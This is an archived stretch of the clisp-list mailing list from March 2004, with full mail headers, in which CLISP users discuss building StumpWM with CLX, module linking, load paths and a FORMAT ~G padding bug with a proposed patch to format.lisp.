Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: building stumpwm with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 28 09:12:02 2004 X-Original-Date: Sun, 28 Mar 2004 12:11:25 -0500 > * Joe Corneli [2004-03-28 10:55:17 -0600]: > > Is there a good way to "make clean"? "make distclean" I always build in a separate directory "build-...", e.g. $ ./configure --with-debug --build build-g or $ ./configure --with-module=clx/new-clx --build build-nclx or $ ./configure --with-module=clx/mit-clx --build build-mitx so that "clean" just means $ rm -rf build-* -- Sam Steingold (http://www.podval.org/~sds) running w2k Takeoffs are optional. Landings are mandatory. From don-sourceforgexx@isis.cs3-inc.com Sun Mar 28 11:50:01 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7gID-0006cN-4B for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 11:50:01 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B7gIB-0005Rm-Az for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 11:49:59 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2SJgAA29979 for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 11:42:10 -0800 Message-Id: <200403281942.i2SJgAA29979@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] raw socket module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 28 11:51:01 2004 X-Original-Date: Sun, 28 Mar 2004 11:42:10 -0800 Something has changed between .31 and .32 though. In .31 after clisp-link add-module-set I have a lisp.run and lispinit.mem in the new directory but in .32 I don't. What am I supposed to do about this? Related to dynamic loading or something? From sds@gnu.org Sun Mar 28 13:01:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7hPU-0002gY-GO for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 13:01:36 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B7hPU-0005rr-2Y for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 13:01:36 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1B7hPT-0004ws-00; Sun, 28 Mar 2004 16:01:35 -0500 To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403281942.i2SJgAA29979@isis.cs3-inc.com> (Don Cohen's message of "Sun, 28 Mar 2004 11:42:10 -0800") References: <200403281942.i2SJgAA29979@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: raw socket module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 28 14:12:09 2004 X-Original-Date: Sun, 28 Mar 2004 16:01:32 -0500 > * Don Cohen [2004-03-28 11:42:10 -0800]: > > Something has changed between .31 and .32 though. > In .31 after clisp-link add-module-set I have a lisp.run and > lispinit.mem in the new directory but in .32 I don't. I don't think anything in clisp-link has changed (and you should be using 2.33, not 2.32 anyway). I have never used clisp-link directly, only as a part of that standard Makefile as generated by makemake.in during CLISP build. It runs "clisp-link add-module-sets". I suggest that place the raw-sock directory in the clisp/modules/ directory, go to your clisp build directory, edit Makefile there and add "raw-sock" to the MODULES variable, and then everything should be done by a mere "make full" (including linking raw-sock from clisp/modules/ over to the build directory, configuration, compilation, and linking). -- Sam Steingold (http://www.podval.org/~sds) running w2k What garlic is to food, insanity is to art. From jcorneli@math.utexas.edu Sun Mar 28 21:09:08 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7p1I-0005Lg-LF for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 21:09:08 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B7p1H-0005f6-Vs for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 21:09:08 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2T597q18440; Sun, 28 Mar 2004 23:09:07 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B7p1G-0001ZQ-00; Sun, 28 Mar 2004 23:09:06 -0600 To: clisp-list@lists.sourceforge.net X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] how to exectute a load command in a certain directory Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 28 21:10:01 2004 X-Original-Date: Sun, 28 Mar 2004 23:09:06 -0600 In the CLOCC CL.ENVIRONMENT installation notes, they say this: Load the file named 'load-cl-environment.lisp'. (load "load-cl-environment.lisp") Be careful about the directory you are in and/or the actual location of the aforementioned file. The package is actually loaded from the directory of *LOAD-TRUENAME* as bound by the call to LOAD. Can you offer advice on how to get CLISP to think I'm in the working directory? A sort of `save-excursion' to temporarily set the working directory? From sabetts@vcn.bc.ca Sun Mar 28 21:55:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7pkT-00010k-3f for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 21:55:49 -0800 Received: from outbound01.telus.net ([199.185.220.220] helo=priv-edtnes56.telusplanet.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B7pkR-0006j2-7Z for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 21:55:47 -0800 Received: from rogueboner.lamenet.tmp.telus.net ([206.116.214.179]) by priv-edtnes56.telusplanet.net (InterMail vM.6.00.05.02 201-2115-109-103-20031105) with ESMTP id <20040329055540.FPPE21082.priv-edtnes56.telusplanet.net@rogueboner.lamenet.tmp.telus.net>; Sun, 28 Mar 2004 22:55:40 -0700 To: Joe Corneli Cc: clisp-list@lists.sourceforge.net, stumpwm-devel References: From: Shawn Betts In-Reply-To: Message-ID: <877jx4kxic.fsf@foo.foo> Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: [STUMP] building stumpwm with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 28 21:56:02 2004 X-Original-Date: 28 Mar 2004 21:55:39 -0800 Joe Corneli writes: > > (asdf:operate 'asdf:load-op 'stumpwm) > ; loading system definition from /Users/arided/lisp-systems/stumpwm.asd into # ; ASDF2380> > ;; Loading file /Users/arided/lisp-systems/stumpwm.asd ... > ; registering # as STUMPWM > ;; Loaded file /Users/arided/lisp-systems/stumpwm.asd > ;; Loading file /Users/arided/lisp-systems/stumpwm/package.fas ... > ;; Loaded file /Users/arided/lisp-systems/stumpwm/package.fas > ;; Loading file /Users/arided/lisp-systems/stumpwm/primitives.fas ... > ** - Continuable Error > FUNCALL: undefined function XLIB:CHARACTER->KEYSYMS Well that sucks. I don't really know much about all the keysym functions in clx, so I've just been digging around in the source. I'll get some existing clx apps and see what they do for key input (always been a bit of a mystery). Thanks for the heads up. As for fixing that...well..it might be a bit involved :). But you could quick fix it by replacing all the calls to that fn with the keysym for whatever character I'm trying to get at. -Shawn From jcorneli@math.utexas.edu Sun Mar 28 22:26:41 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7qEL-0007KX-ML for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 22:26:41 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B7qEK-0003el-Cl for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 22:26:40 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2T6Qdq24847; Mon, 29 Mar 2004 00:26:39 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B7qEJ-0001fd-00; Mon, 29 Mar 2004 00:26:39 -0600 To: clisp-list@lists.sourceforge.net, stumpwm-devel@nongnu.org In-reply-to: <877jx4kxic.fsf@foo.foo> (message from Shawn Betts on 28 Mar 2004 21:55:39 -0800) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: <877jx4kxic.fsf@foo.foo> Message-Id: From: Joe Corneli X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: [STUMP] building stumpwm with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 28 22:27:04 2004 X-Original-Date: Mon, 29 Mar 2004 00:26:39 -0600 functions in clx, so I've just been digging around in the source. I'll get some existing clx apps and see what they do for key input (always been a bit of a mystery). Achtung! They don't all seem to do the right thing all the time. For example, Sokoban (running under new-clx) doesn't recognize Mode_switch+, as in keycode 10 = e E Down for example. BTW, I tried to load up stump when running mit-clx and got the same "*** - Condition of type ASDF:MISSING-DEPENDENCY." But upon commenting out the ":depends-on (:clx :port)", I got the following -- I.e. stump actually seems to load. But I'm still not quite sure how to actually run it... [4]> (asdf:operate 'asdf:load-op 'stumpwm) ; loading system definition from /Users/arided/lisp-systems/stumpwm.asd into # ;; Loading file /Users/arided/lisp-systems/stumpwm.asd ... ;; Loaded file /Users/arided/lisp-systems/stumpwm.asd ;; Loading file /Users/arided/lisp-systems/stumpwm/package.fas ... ;; Loaded file /Users/arided/lisp-systems/stumpwm/package.fas ;; Loading file /Users/arided/lisp-systems/stumpwm/primitives.fas ... ;; Loaded file /Users/arided/lisp-systems/stumpwm/primitives.fas Compiling file /Users/arided/lisp-systems/stumpwm/input.lisp ... WARNING in READ-ONE-LINE-KEY-LOOP in lines 76..95 : Duplicate CASE label QUOTE : (CASE RET ('DONE (RETURN (VALUES INPUT 'DONE))) ('ABORT (RETURN (VALUES INPUT 'ABORT)))) WARNING in PROCESS-INPUT in lines 122..155 : Duplicate CASE label QUOTE : (CASE RET ('DONE (VALUES INP 'DONE)) ('ABORT (VALUES INP 'ABORT)) (T (DRAW-INPUT-BUCKET SCREEN PROMPT INP) (VALUES INP T))) WARNING in UPDATE-MODIFIER-MAP in lines 157..180 : NULL was called with 2 arguments, but it requires 1 argument. WARNING in UPDATE-MODIFIER-MAP in lines 157..180 : MODIFIERS-META is neither declared nor bound, it will be treated as if it were declared SPECIAL. WARNING in COOK-KEYCODE in lines 207..208 : X11MOD->STUMPMOD was called with 1 arguments, but it requires 2 arguments. [X11MOD->STUMPMOD was defined in lines 182..194] Wrote file /Users/arided/lisp-systems/stumpwm/input.fas WARNING: COMPILE-FILE warned while performing # on #. WARNING: COMPILE-FILE failed while performing # on #. ;; Loading file /Users/arided/lisp-systems/stumpwm/input.fas ... ;; Loaded file /Users/arided/lisp-systems/stumpwm/input.fas Compiling file /Users/arided/lisp-systems/stumpwm/core.lisp ... WARNING in G4156 in lines 588..595 : variable WINDOW is not used. Misspelled or missing IGNORE declaration? Wrote file /Users/arided/lisp-systems/stumpwm/core.fas WARNING: COMPILE-FILE warned while performing # on #. WARNING: COMPILE-FILE failed while performing # on #. ;; Loading file /Users/arided/lisp-systems/stumpwm/core.fas ... ;; Loaded file /Users/arided/lisp-systems/stumpwm/core.fas Compiling file /Users/arided/lisp-systems/stumpwm/user.lisp ... WARNING in SET-DEFAULT-BINDINGS-1 in lines 33..54 : variable S is not used. Misspelled or missing IGNORE declaration? Wrote file /Users/arided/lisp-systems/stumpwm/user.fas WARNING: COMPILE-FILE warned while performing # on #. WARNING: COMPILE-FILE failed while performing # on #. Compiling file /Users/arided/lisp-systems/stumpwm/stumpwm.lisp ... Wrote file /Users/arided/lisp-systems/stumpwm/stumpwm.fas WARNING: COMPILE-FILE warned while performing # on #. WARNING: COMPILE-FILE failed while performing # on #. ;; Loading file /Users/arided/lisp-systems/stumpwm/user.fas ... ;; Loaded file /Users/arided/lisp-systems/stumpwm/user.fas ;; Loading file /Users/arided/lisp-systems/stumpwm/stumpwm.fas ... ;; Loaded file /Users/arided/lisp-systems/stumpwm/stumpwm.fas The following functions were used but not defined: :MOD1 STUMPWM::KEYSYM->CHARACTER The following special variables were not defined: STUMPWM::MODIFIERS-META 0 errors, 7 warnings NIL [5]> From marcoxa@cs.nyu.edu Mon Mar 29 06:45:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7y1P-0006vn-TH for clisp-list@lists.sourceforge.net; Mon, 29 Mar 2004 06:45:51 -0800 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1B7y1O-0003rT-6v for clisp-list@lists.sourceforge.net; Mon, 29 Mar 2004 06:45:50 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id 0A53D19D56 for ; Mon, 29 Mar 2004 09:45:47 -0500 (EST) Subject: Re: [clisp-list] how to exectute a load command in a certain directory Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 29 06:46:16 2004 X-Original-Date: Mon, 29 Mar 2004 09:45:48 -0500 On Monday, Mar 29, 2004, at 00:09 America/New_York, Joe Corneli wrote: > In the CLOCC CL.ENVIRONMENT installation notes, they say this: > > Load the file named 'load-cl-environment.lisp'. > > (load "load-cl-environment.lisp") > > Be careful about the directory you are in and/or the actual location > of the aforementioned file. The package is actually loaded from the > directory of *LOAD-TRUENAME* as bound by the call to LOAD. > > Can you offer advice on how to get CLISP to think I'm in the working > directory? A sort of `save-excursion' to temporarily set the > working directory? The latest version of CL-ENVIRONMENT should take care of that automagically. I.e. if you do (load "[Path,to]load-cl-environment.lisp") on a VMS system, it should actually set the internal logical pathnames hosts correctly (check the CL-ENV-LIBRARY host after loading the file) Cheers Marco -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From roland.kaufmann@space.at Mon Mar 29 10:44:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B81kZ-0002Ep-5L for clisp-list@lists.sourceforge.net; Mon, 29 Mar 2004 10:44:43 -0800 Received: from smmsp.space.at ([212.186.218.201]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B81kX-0005V5-6W for clisp-list@lists.sourceforge.net; Mon, 29 Mar 2004 10:44:41 -0800 X-Beware: http://www.space.at X-Organization: Austrian Aerospace GmbH X-Street: Stachegasse 16, A-1120 Vienna X-Phone: +43-1-80199-0 fax: +43-1-80199-6950 Received: from virus.space.at (fw-dmz [212.186.218.206]) by smmsp.space.at (8.12.10/8.12.10) with ESMTP id i2TIh15K003933 for ; Mon, 29 Mar 2004 20:43:01 +0200 (MEST) Received: from jupiter.space.at (localhost [127.0.0.1]) by virus.space.at (8.12.8/8.12.8) with ESMTP id i2TIi9P9024233; Mon, 29 Mar 2004 20:44:09 +0200 (MEST) Received: from rosalind.space.at (rosalind [172.27.96.18]) by jupiter.space.at (8.12.10/8.12.10) with ESMTP id i2TIi5t8023450; Mon, 29 Mar 2004 20:44:05 +0200 (MEST) Received: (from kau@localhost) by rosalind.space.at (8.10.2+Sun/8.10.2) id i2TIi5m22792; Mon, 29 Mar 2004 20:44:05 +0200 (MEST) Message-Id: <200403291844.i2TIi5m22792@rosalind.space.at> X-Authentication-Warning: rosalind.space.at: kau set sender to roland.kaufmann@space.at using -f From: roland.kaufmann@space.at Reply-to: roland.kaufmann@space.at To: clisp-list@lists.sourceforge.net X-Spam-Status: No, hits=0.3 required=5.0 tests=NO_REAL_NAME autolearn=no version=2.61 X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on titan X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] FORMAT ~G problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 29 10:45:02 2004 X-Original-Date: Mon, 29 Mar 2004 20:44:05 +0200 (MEST) Hello, I experienced a problem with FORMAT--when printing floats with ~G, trailing blanks were introduced: (format t "---|~@G|---~%" (exp 1.0d0)) ---|+2.718281828459045 |--- ^^^^ these blanks should not be there according to my understanding of the CLHS. GCL appears to get it right: $ gcl GCL (GNU Common Lisp) Version(2.4.0) Tue May 29 11:41:02 MET DST 2001 Licensed under GNU Library General Public License Contains Enhancements by W. Schelter >(format t "---|~@G|---~%" (exp 1.0d0)) ---|+2.718281828459046|--- NIL Since my CLISP was ancient, I built CLISP 2.33 on Solaris: Platform: SunOS rosalind 5.8 Generic_108528-12 sun4u sparc Source: http://heanet.dl.sourceforge.net/sourceforge/clisp/clisp-2.33.tar.bz2 as of 2004-03-29 MD5 (clisp-2.33.tar.bz2) = 8724eccb8933eedec31a06206c79e74d Build: export CC="gcc -Wall" ./configure --prefix=/home/kau/3/ solaris cd solaris ./makemake --with-dynamic-ffi --prefix=/home/kau/3/ > Makefile make config.lisp emacs config.lisp # just long-site-name time make I can send the build log if necessary (there were a number of gcc warnings and suspicious messages like (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" FORMAT #P"/home/kau/3/src/clisp-2.33/src/format.lisp" "top-level") I got a working clisp (I have not ran the tests yet): ./clisp --version GNU CLISP 2.33 (2004-03-17) (built 3289563544) (memory 3289564749) Software: GNU C 3.1 ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX) Installation directory: /home/kau/3/src/clisp-2.33/solaris/ User language: ENGLISH Machine: SUN4U (SUN4U) rosalind [172.27.96.18] but FORMAT behaves as before. I believe that the problem lies in src/format.lisp: ;; ~G, CLTL p.395-396, CLtL2 p. 594-595 (defformat-simple format-general-float (stream colon-modifier atsign-modifier (w nil) (d nil) (e nil) (k 1) (overflowchar nil) (padchar #\Space) (exponentchar nil)) (arg) (declare (ignore colon-modifier)) (if (rationalp arg) (setq arg (float arg))) (if (floatp arg) (multiple-value-bind (mantissa n) (format-scale-exponent (abs arg)) (declare (ignore mantissa)) (if (null d) (setq d (multiple-value-bind (digits digitslength) (format-float-to-string (abs arg) nil nil nil nil) (declare (ignore digits)) (max (max (1- digitslength) 1) (min n 7))))) (let* ((ee (if e (+ 2 e) 4)) (dd (- d n))) (if (<= 0 dd d) (progn (format-float-for-f (if w (- w ee) nil) dd 0 overflowchar padchar atsign-modifier arg stream) ;;; Is this the cause of the problem? ;;(format-padding ee #\Space stream) ) (format-float-for-e w d e k overflowchar padchar exponentchar atsign-modifier arg stream)))) (if w (format-padded-string w 1 0 padchar t (princ-to-string arg) stream) (format-ascii-decimal arg stream)))) Loading the modified form into CLISP establishes the correct behaviour: [5]> (load "src/format-g-loader.lisp") ;; Loading file src/format-g-loader.lisp ... ;; Loading file src/format-g.lisp ... ;; Loaded file src/format-g.lisp ;; Loaded file src/format-g-loader.lisp T [6]> (format t "|~G|" pi) |3.1415926535897932385| NIL [7]> (format t "|~10,,,,G|" pi) |3.1415926535897932385| NIL [8]> (format t "|~10,5,,,G|" pi) |3.1416| NIL [9]> (format t "|~20,5,,,G|" pi) | 3.1416| NIL Could some of the experts here comment on the problem and my workaround? Please CC me, as I have not yet subscribed to the list. regards Roland From sds@gnu.org Mon Mar 29 12:41:35 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B83Ze-0002r6-UR for clisp-list@lists.sourceforge.net; Mon, 29 Mar 2004 12:41:34 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B83Zc-0004aI-Hx for clisp-list@lists.sourceforge.net; Mon, 29 Mar 2004 12:41:32 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2TKfNlv019981; Mon, 29 Mar 2004 15:41:24 -0500 (EST) To: clisp-list@lists.sourceforge.net, roland.kaufmann@space.at Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403291844.i2TIi5m22792@rosalind.space.at> (roland kaufmann's message of "Mon, 29 Mar 2004 20:44:05 +0200 (MEST)") References: <200403291844.i2TIi5m22792@rosalind.space.at> Mail-Followup-To: clisp-list@lists.sourceforge.net, roland.kaufmann@space.at Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FORMAT ~G problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 29 12:42:03 2004 X-Original-Date: Mon, 29 Mar 2004 15:41:24 -0500 > * [2004-03-29 20:44:05 +0200]: > > I experienced a problem with FORMAT--when printing floats with ~G, > trailing blanks were introduced: > > (format t "---|~@G|---~%" (exp 1.0d0)) > ---|+2.718281828459045 |--- > ^^^^ that's also what LispWorks does. > these blanks should not be there according to > my understanding of the CLHS. Let ee equal e+2, or 4 if e is omitted. ~ww,dd,,overflowchar,padcharF~ee@T ~ee@T is what outputs these 4 spaces. > GCL appears to get it right: > > $ gcl > GCL (GNU Common Lisp) Version(2.4.0) Tue May 29 11:41:02 MET DST 2001 > Licensed under GNU Library General Public License > Contains Enhancements by W. Schelter > >>(format t "---|~@G|---~%" (exp 1.0d0)) > ---|+2.718281828459046|--- > NIL yes, GCL is known to have many ANSI compliance bugs. -- Sam Steingold (http://www.podval.org/~sds) running w2k Those who value Life above Freedom are destined to lose both. From jcorneli@math.utexas.edu Mon Mar 29 13:24:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B84F7-00021B-5j for clisp-list@lists.sourceforge.net; Mon, 29 Mar 2004 13:24:25 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B84F6-0000Cw-T0 for clisp-list@lists.sourceforge.net; Mon, 29 Mar 2004 13:24:24 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2TLONq23406; Mon, 29 Mar 2004 15:24:23 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B84F5-0003KQ-00; Mon, 29 Mar 2004 15:24:23 -0600 To: clisp-list@lists.sourceforge.net cc: rschlatte@ist.tu-graz.ac.at X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message Subject: [clisp-list] does zebu still need to be patched to work with clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: 